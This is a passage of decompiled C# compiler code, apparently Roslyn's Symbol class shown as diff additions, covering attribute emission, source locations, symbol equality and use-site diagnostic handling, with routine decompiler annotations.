GetCustomAttributesToEmitIterator(userDefined, synthesized, isReturnType, emittingAssemblyAttributesInNetModule); + } + + private IEnumerable GetCustomAttributesToEmitIterator(ImmutableArray userDefined, ArrayBuilder synthesized, bool isReturnType, bool emittingAssemblyAttributesInNetModule) + { + if (synthesized != null) + { + Enumerator enumerator = synthesized.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + synthesized.Free(); + } + for (int i = 0; i < userDefined.Length; i++) + { + CSharpAttributeData cSharpAttributeData = userDefined[i]; + if (((int)Kind != 2 || !((SourceAssemblySymbol)this).IsIndexOfOmittedAssemblyAttribute(i)) && cSharpAttributeData.ShouldEmitAttribute(this, isReturnType, emittingAssemblyAttributesInNetModule)) + { + yield return cSharpAttributeData; + } + } + } + + internal virtual void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + } + + internal virtual bool HasComplete(CompletionPart part) + { + return true; + } + + ISymbol ISymbolInternal.GetISymbol() + { + return ISymbol; + } + + internal virtual LexicalSortKey GetLexicalSortKey() + { + Location val = TryGetFirstLocation(); + if (val == null) + { + return LexicalSortKey.NotInSource; + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + return new LexicalSortKey(val, declaringCompilation); + } + + public virtual Location? TryGetFirstLocation() + { + ImmutableArray locations = Locations; + if (!locations.IsEmpty) + { + return locations[0]; + } + return null; + } + + public Location GetFirstLocation() + { + return TryGetFirstLocation() ?? throw new InvalidOperationException("Symbol has no locations"); + } + + public Location GetFirstLocationOrNone() + { + return TryGetFirstLocation() ?? Location.None; + } + + public virtual bool HasLocationContainedWithin(SyntaxTree tree, TextSpan declarationSpan, out bool wasZeroWidthMatch) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = Locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (IsLocationContainedWithin(enumerator.Current, tree, declarationSpan, out wasZeroWidthMatch)) + { + return true; + } + } + wasZeroWidthMatch = false; + return false; + } + + protected static bool IsLocationContainedWithin(Location loc, SyntaxTree tree, TextSpan declarationSpan, out bool wasZeroWidthMatch) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (loc.IsInSource && loc.SourceTree == tree && ((TextSpan)(ref declarationSpan)).Contains(loc.SourceSpan)) + { + TextSpan sourceSpan = loc.SourceSpan; + int num; + if (((TextSpan)(ref sourceSpan)).IsEmpty) + { + sourceSpan = loc.SourceSpan; + num = ((((TextSpan)(ref sourceSpan)).End == ((TextSpan)(ref declarationSpan)).Start) ? 1 : 0); + } + else + { + num = 0; + } + wasZeroWidthMatch = (byte)num != 0; + return true; + } + wasZeroWidthMatch = false; + return false; + } + + internal static ImmutableArray GetDeclaringSyntaxReferenceHelper(ImmutableArray locations) where TNode : CSharpSyntaxNode + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + if (locations.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + Location location = enumerator.Current; + if (location == (Location)null || !location.IsInSource) + { + continue; + } + TextSpan sourceSpan = location.SourceSpan; + if (((TextSpan)(ref sourceSpan)).Length != 0) + { + SyntaxNode root = location.SourceTree.GetRoot(default(CancellationToken)); + sourceSpan = location.SourceSpan; + SyntaxToken token = root.FindToken(((TextSpan)(ref sourceSpan)).Start, false); + if (token.Kind() != SyntaxKind.None) + { + CSharpSyntaxNode cSharpSyntaxNode = ((SyntaxToken)(ref token)).Parent.FirstAncestorOrSelf((Func)null, true); + if (cSharpSyntaxNode != null) + { + instance.Add(cSharpSyntaxNode.GetReference()); + } + } + continue; + } + SyntaxNode root2 = location.SourceTree.GetRoot(default(CancellationToken)); + SyntaxNode val = null; + foreach (SyntaxNode item in root2.DescendantNodesAndSelf((Func)delegate(SyntaxNode c) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + TextSpan sourceSpan2 = c.Location.SourceSpan; + return ((TextSpan)(ref sourceSpan2)).Contains(location.SourceSpan); + }, false)) + { + if (item is TNode) + { + sourceSpan = item.Location.SourceSpan; + if (((TextSpan)(ref sourceSpan)).Contains(location.SourceSpan)) + { + val = item; + } + } + } + if (val != null) + { + instance.Add(val.GetReference()); + } + } + return instance.ToImmutableAndFree(); + } + + internal virtual void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + } + + public static bool operator ==(Symbol left, Symbol right) + { + if ((object)right == null) + { + return (object)left == null; + } + if ((object)left != right) + { + return right.Equals(left); + } + return true; + } + + public static bool operator !=(Symbol left, Symbol right) + { + if ((object)right == null) + { + return (object)left != null; + } + if ((object)left != right) + { + return !right.Equals(left); + } + return false; + } + + public sealed override bool Equals(object obj) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Equals(obj as Symbol, SymbolEqualityComparer.Default.CompareKind); + } + + public bool Equals(Symbol other) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(other, SymbolEqualityComparer.Default.CompareKind); + } + + bool ISymbolInternal.Equals(ISymbolInternal other, TypeCompareKind compareKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(other as Symbol, compareKind); + } + + public virtual bool Equals(Symbol other, TypeCompareKind compareKind) + { + return (object)this == other; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + public static bool Equals(Symbol first, Symbol second, TypeCompareKind compareKind) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return first?.Equals(second, compareKind) ?? ((object)second == null); + } + + public sealed override string ToString() + { + return ToDisplayString(); + } + + internal abstract TResult Accept(CSharpSymbolVisitor visitor, TArgument a); + + internal Symbol() + { + } + + internal virtual void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + } + + internal static void AddSynthesizedAttribute(ref ArrayBuilder attributes, SynthesizedAttributeData attribute) + { + if (attribute != null) + { + if (attributes == null) + { + attributes = new ArrayBuilder(1); + } + attributes.Add(attribute); + } + } + + internal CharSet? GetEffectiveDefaultMarshallingCharSet() + { + return ContainingModule.DefaultMarshallingCharSet; + } + + internal bool IsFromCompilation(CSharpCompilation compilation) + { + return compilation == DeclaringCompilation; + } + + public virtual bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)) + { + ImmutableArray declaringSyntaxReferences = DeclaringSyntaxReferences; + if (IsImplicitlyDeclared && declaringSyntaxReferences.Length == 0) + { + return ContainingSymbol.IsDefinedInSourceTree(tree, definedWithinSpan, cancellationToken); + } + ImmutableArray.Enumerator enumerator = declaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (IsDefinedInSourceTree(current, tree, definedWithinSpan)) + { + return true; + } + } + return false; + } + + protected static bool IsDefinedInSourceTree(SyntaxReference syntaxRef, SyntaxTree tree, TextSpan? definedWithinSpan) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (syntaxRef.SyntaxTree == tree) + { + if (definedWithinSpan.HasValue) + { + TextSpan span = syntaxRef.Span; + return ((TextSpan)(ref span)).IntersectsWith(definedWithinSpan.Value); + } + return true; + } + return false; + } + + internal static void ForceCompleteMemberByLocation(SourceLocation locationOpt, Symbol member, CancellationToken cancellationToken) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if ((Location)(object)locationOpt == (Location)null || member.IsDefinedInSourceTree(((Location)locationOpt).SourceTree, ((Location)locationOpt).SourceSpan, cancellationToken)) + { + cancellationToken.ThrowIfCancellationRequested(); + member.ForceComplete(locationOpt, cancellationToken); + } + } + + public virtual string GetDocumentationCommentId() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + try + { + StringBuilder builder = instance.Builder; + DocumentationCommentIDVisitor.Instance.Visit(this, builder); + return (builder.Length == 0) ? null : builder.ToString(); + } + finally + { + instance.Free(); + } + } + + public virtual string GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return ""; + } + + internal virtual string GetDebuggerDisplay() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return $"{Kind} {ToDisplayString(s_debuggerDisplayFormat)}"; + } + + internal virtual void AddDeclarationDiagnostics(BindingDiagnosticBag diagnostics) + { + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag == null || diagnosticBag.IsEmptyWithoutResolution) + { + ICollection dependenciesBag = ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag; + if (dependenciesBag == null || dependenciesBag.Count <= 0) + { + return; + } + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + declaringCompilation.AddUsedAssemblies(((BindingDiagnosticBag)(object)diagnostics).DependenciesBag); + DiagnosticBag diagnosticBag2 = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag2 != null && !diagnosticBag2.IsEmptyWithoutResolution) + { + declaringCompilation.DeclarationDiagnostics.AddRange(((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + } + + internal virtual UseSiteInfo GetUseSiteInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(UseSiteInfo); + } + + protected virtual bool IsHighestPriorityUseSiteErrorCode(int code) + { + return true; + } + + internal bool MergeUseSiteDiagnostics(ref DiagnosticInfo result, DiagnosticInfo info) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + if (info == null) + { + return false; + } + if ((int)info.Severity == 3 && IsHighestPriorityUseSiteErrorCode(info.Code)) + { + result = info; + return true; + } + if (result == null || ((int)result.Severity == 2 && (int)info.Severity == 3)) + { + result = info; + return false; + } + return false; + } + + internal bool MergeUseSiteInfo(ref UseSiteInfo result, UseSiteInfo info) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo result2 = result.DiagnosticInfo; + bool result3 = MergeUseSiteDiagnostics(ref result2, info.DiagnosticInfo); + if (result2 != null && (int)result2.Severity == 3) + { + result = new UseSiteInfo(result2); + return result3; + } + ImmutableHashSet secondaryDependencies = result.SecondaryDependencies; + AssemblySymbol primaryDependency = result.PrimaryDependency; + info.MergeDependencies(ref primaryDependency, ref secondaryDependencies); + result = new UseSiteInfo(result2, primaryDependency, secondaryDependencies); + return result3; + } + + internal static bool ReportUseSiteDiagnostic(DiagnosticInfo info, DiagnosticBag diagnostics, Location location) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + if (info.Code == 1702 || info.Code == 1701 || info.Code == 1705) + { + location = NoLocation.Singleton; + } + diagnostics.Add(info, location); + return (int)info.Severity == 3; + } + + internal static bool ReportUseSiteDiagnostic(DiagnosticInfo info, BindingDiagnosticBag diagnostics, Location location) + { + return ((BindingDiagnosticBag)(object)diagnostics).ReportUseSiteDiagnostic(info, location); + } + + internal bool DeriveUseSiteInfoFromType(ref UseSiteInfo result, TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo info = type.GetUseSiteInfo(); + DiagnosticInfo diagnosticInfo = info.DiagnosticInfo; + if (diagnosticInfo != null && diagnosticInfo.Code == 648) + { + GetSymbolSpecificUnsupportedMetadataUseSiteErrorInfo(ref info); + } + return MergeUseSiteInfo(ref result, info); + } + + private void GetSymbolSpecificUnsupportedMetadataUseSiteErrorInfo(ref UseSiteInfo info) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + SymbolKind kind = Kind; + if (kind - 5 <= 1 || (int)kind == 9 || (int)kind == 15) + { + info = info.AdjustDiagnosticInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this)); + } + } + + private UseSiteInfo GetSymbolSpecificUnsupportedMetadataUseSiteErrorInfo() + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo info = default(UseSiteInfo); + info._002Ector((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, string.Empty)); + GetSymbolSpecificUnsupportedMetadataUseSiteErrorInfo(ref info); + return info; + } + + internal bool DeriveUseSiteInfoFromType(ref UseSiteInfo result, TypeWithAnnotations type, AllowedRequiredModifierType allowedRequiredModifierType) + { + if (!DeriveUseSiteInfoFromType(ref result, type.Type)) + { + return DeriveUseSiteInfoFromCustomModifiers(ref result, type.CustomModifiers, allowedRequiredModifierType); + } + return true; + } + + internal bool DeriveUseSiteInfoFromParameter(ref UseSiteInfo result, ParameterSymbol param) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + if (!DeriveUseSiteInfoFromType(ref result, param.TypeWithAnnotations, AllowedRequiredModifierType.None)) + { + return DeriveUseSiteInfoFromCustomModifiers(ref result, param.RefCustomModifiers, (this is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 18) ? (AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute | AllowedRequiredModifierType.System_Runtime_CompilerServices_OutAttribute) : AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute); + } + return true; + } + + internal bool DeriveUseSiteInfoFromParameters(ref UseSiteInfo result, ImmutableArray parameters) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (DeriveUseSiteInfoFromParameter(ref result, current)) + { + return true; + } + } + return false; + } + + internal bool DeriveUseSiteInfoFromCustomModifiers(ref UseSiteInfo result, ImmutableArray customModifiers, AllowedRequiredModifierType allowedRequiredModifierType) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + AllowedRequiredModifierType allowedRequiredModifierType2 = AllowedRequiredModifierType.None; + bool flag = true; + ImmutableArray.Enumerator enumerator = customModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + CustomModifier current = enumerator.Current; + NamedTypeSymbol namedTypeSymbol = ((CSharpCustomModifier)(object)current).ModifierSymbol; + if (flag && !current.IsOptional) + { + AllowedRequiredModifierType allowedRequiredModifierType3 = AllowedRequiredModifierType.None; + if ((allowedRequiredModifierType & AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute) != AllowedRequiredModifierType.None && namedTypeSymbol.IsWellKnownTypeInAttribute()) + { + allowedRequiredModifierType3 = AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute; + } + else if ((allowedRequiredModifierType & AllowedRequiredModifierType.System_Runtime_CompilerServices_Volatile) != AllowedRequiredModifierType.None && (int)namedTypeSymbol.SpecialType == 34) + { + allowedRequiredModifierType3 = AllowedRequiredModifierType.System_Runtime_CompilerServices_Volatile; + } + else if ((allowedRequiredModifierType & AllowedRequiredModifierType.System_Runtime_CompilerServices_IsExternalInit) != AllowedRequiredModifierType.None && namedTypeSymbol.IsWellKnownTypeIsExternalInit()) + { + allowedRequiredModifierType3 = AllowedRequiredModifierType.System_Runtime_CompilerServices_IsExternalInit; + } + else if ((allowedRequiredModifierType & AllowedRequiredModifierType.System_Runtime_CompilerServices_OutAttribute) != AllowedRequiredModifierType.None && namedTypeSymbol.IsWellKnownTypeOutAttribute()) + { + allowedRequiredModifierType3 = AllowedRequiredModifierType.System_Runtime_CompilerServices_OutAttribute; + } + if (allowedRequiredModifierType3 == AllowedRequiredModifierType.None || (allowedRequiredModifierType3 != allowedRequiredModifierType2 && allowedRequiredModifierType2 != AllowedRequiredModifierType.None)) + { + if (MergeUseSiteInfo(ref result, GetSymbolSpecificUnsupportedMetadataUseSiteErrorInfo())) + { + return true; + } + flag = false; + } + allowedRequiredModifierType2 |= allowedRequiredModifierType3; + } + if (namedTypeSymbol.IsUnboundGenericType) + { + namedTypeSymbol = namedTypeSymbol.OriginalDefinition; + } + if (DeriveUseSiteInfoFromType(ref result, namedTypeSymbol)) + { + return true; + } + } + return false; + } + + internal static bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, ImmutableArray types, Symbol owner, ref HashSet checkedTypes) where T : TypeSymbol + { + ImmutableArray.Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } + + internal static bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, ImmutableArray types, Symbol owner, ref HashSet checkedTypes) + { + ImmutableArray.Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } + + internal static bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, ImmutableArray modifiers, Symbol owner, ref HashSet checkedTypes) + { + ImmutableArray.Enumerator enumerator = modifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (((CSharpCustomModifier)(object)enumerator.Current).ModifierSymbol.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } + + internal static bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, ImmutableArray parameters, Symbol owner, ref HashSet checkedTypes) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.TypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes) || GetUnificationUseSiteDiagnosticRecursive(ref result, current.RefCustomModifiers, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } + + internal static bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, ImmutableArray typeParameters, Symbol owner, ref HashSet checkedTypes) + { + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (GetUnificationUseSiteDiagnosticRecursive(ref result, current.ConstraintTypesNoUseSiteDiagnostics, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } + + internal bool GetGuidStringDefaultImplementation(out string guidString) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(this, AttributeDescription.GuidAttribute) && CommonAttributeDataExtensions.TryGetGuidAttributeValue((AttributeData)(object)current, ref guidString)) + { + return true; + } + } + guidString = null; + return false; + } + + public string ToDisplayString(SymbolDisplayFormat format = null) + { + return SymbolDisplay.ToDisplayString(ISymbol, format); + } + + public ImmutableArray ToDisplayParts(SymbolDisplayFormat format = null) + { + return SymbolDisplay.ToDisplayParts(ISymbol, format); + } + + public string ToMinimalDisplayString(SemanticModel semanticModel, int position, SymbolDisplayFormat format = null) + { + return SymbolDisplay.ToMinimalDisplayString(ISymbol, semanticModel, position, format); + } + + public ImmutableArray ToMinimalDisplayParts(SemanticModel semanticModel, int position, SymbolDisplayFormat format = null) + { + return SymbolDisplay.ToMinimalDisplayParts(ISymbol, semanticModel, position, format); + } + + internal static void ReportErrorIfHasConstraints(SyntaxList constraintClauses, DiagnosticBag diagnostics) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (constraintClauses.Count > 0) + { + SyntaxToken whereKeyword = constraintClauses[0].WhereKeyword; + diagnostics.Add(ErrorCode.ERR_ConstraintOnlyAllowedOnGenericDecl, ((SyntaxToken)(ref whereKeyword)).GetLocation()); + } + } + + internal static void CheckForBlockAndExpressionBody(CSharpSyntaxNode block, CSharpSyntaxNode expression, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (block != null && expression != null) + { + diagnostics.Add(ErrorCode.ERR_BlockBodyAndExpressionBody, syntax.GetLocation()); + } + } + + internal bool ReportExplicitUseOfReservedAttributes(in DecodeWellKnownAttributeArguments arguments, ReservedAttributes reserved) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01f7: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag diagnostics = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if ((reserved & ReservedAttributes.DynamicAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.DynamicAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitDynamicAttr, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if (((reserved & ReservedAttributes.IsReadOnlyAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.IsReadOnlyAttribute)) && ((reserved & ReservedAttributes.RequiresLocationAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.RequiresLocationAttribute)) && ((reserved & ReservedAttributes.IsUnmanagedAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.IsUnmanagedAttribute)) && ((reserved & ReservedAttributes.IsByRefLikeAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.IsByRefLikeAttribute))) + { + if ((reserved & ReservedAttributes.TupleElementNamesAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.TupleElementNamesAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitTupleElementNamesAttribute, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if ((reserved & ReservedAttributes.NullableAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.NullableAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitNullableAttribute, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if (((reserved & ReservedAttributes.NullableContextAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.NullableContextAttribute)) && ((reserved & ReservedAttributes.NullablePublicOnlyAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.NullablePublicOnlyAttribute)) && ((reserved & ReservedAttributes.NativeIntegerAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.NativeIntegerAttribute))) + { + if ((reserved & ReservedAttributes.CaseSensitiveExtensionAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.CaseSensitiveExtensionAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitExtension, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if ((reserved & ReservedAttributes.RequiredMemberAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.RequiredMemberAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitRequiredMember, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if ((reserved & ReservedAttributes.ScopedRefAttribute) != 0 && attribute.IsTargetAttribute(this, AttributeDescription.ScopedRefAttribute)) + { + diagnostics.Add(ErrorCode.ERR_ExplicitScopedRef, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if ((reserved & ReservedAttributes.RefSafetyRulesAttribute) == 0 || !reportExplicitUseOfReservedAttribute(attribute, in arguments, in AttributeDescription.RefSafetyRulesAttribute)) + { + return false; + } + } + } + return true; + bool reportExplicitUseOfReservedAttribute(CSharpAttributeData cSharpAttributeData, in DecodeWellKnownAttributeArguments reference, in AttributeDescription attributeDescription) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (cSharpAttributeData.IsTargetAttribute(this, attributeDescription)) + { + BindingDiagnosticBag bindingDiagnosticBag = diagnostics; + Location location = ((SyntaxNode)reference.AttributeSyntaxOpt).Location; + object[] array = new object[1]; + AttributeDescription val = attributeDescription; + array[0] = ((AttributeDescription)(ref val)).FullName; + bindingDiagnosticBag.Add(ErrorCode.ERR_ExplicitReservedAttr, location, array); + return true; + } + return false; + } + } + + internal virtual byte? GetNullableContextValue() + { + return GetLocalNullableContextValue() ?? ContainingSymbol?.GetNullableContextValue(); + } + + internal virtual byte? GetLocalNullableContextValue() + { + return null; + } + + internal void GetCommonNullableValues(CSharpCompilation compilation, ref MostCommonNullableValueBuilder builder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + SymbolKind kind = Kind; + switch (kind - 5) + { + case 6: + if (compilation.ShouldEmitNullableAttributes(this)) + { + builder.AddValue(GetLocalNullableContextValue()); + } + break; + case 0: + if (compilation.ShouldEmitNullableAttributes(this)) + { + builder.AddValue(((EventSymbol)this).TypeWithAnnotations); + } + break; + case 1: + { + FieldSymbol fieldSymbol = (FieldSymbol)this; + if (fieldSymbol is TupleElementFieldSymbol tupleElementFieldSymbol) + { + fieldSymbol = tupleElementFieldSymbol.TupleUnderlyingField; + } + if (compilation.ShouldEmitNullableAttributes(fieldSymbol)) + { + builder.AddValue(fieldSymbol.TypeWithAnnotations); + } + break; + } + case 4: + if (compilation.ShouldEmitNullableAttributes(this)) + { + builder.AddValue(GetLocalNullableContextValue()); + } + break; + case 10: + if (compilation.ShouldEmitNullableAttributes(this)) + { + builder.AddValue(((PropertySymbol)this).TypeWithAnnotations); + } + break; + case 8: + builder.AddValue(((ParameterSymbol)this).TypeWithAnnotations); + break; + case 12: + if (this is SourceTypeParameterSymbolBase sourceTypeParameterSymbolBase) + { + builder.AddValue(sourceTypeParameterSymbolBase.GetSynthesizedNullableAttributeValue()); + ImmutableArray.Enumerator enumerator = sourceTypeParameterSymbolBase.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + builder.AddValue(current); + } + } + break; + case 2: + case 3: + case 5: + case 7: + case 9: + case 11: + break; + } + } + + internal bool ShouldEmitNullableContextValue(out byte value) + { + byte? localNullableContextValue = GetLocalNullableContextValue(); + if (!localNullableContextValue.HasValue) + { + value = 0; + return false; + } + value = localNullableContextValue.GetValueOrDefault(); + byte valueOrDefault = (ContainingSymbol?.GetNullableContextValue()).GetValueOrDefault(); + return value != valueOrDefault; + } + + internal static bool IsCaptured(Symbol variable, SourceMethodSymbol containingSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected I4, but got Unknown + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = variable.Kind; + switch (kind - 5) + { + case 0: + case 1: + case 10: + case 11: + return false; + case 3: + if 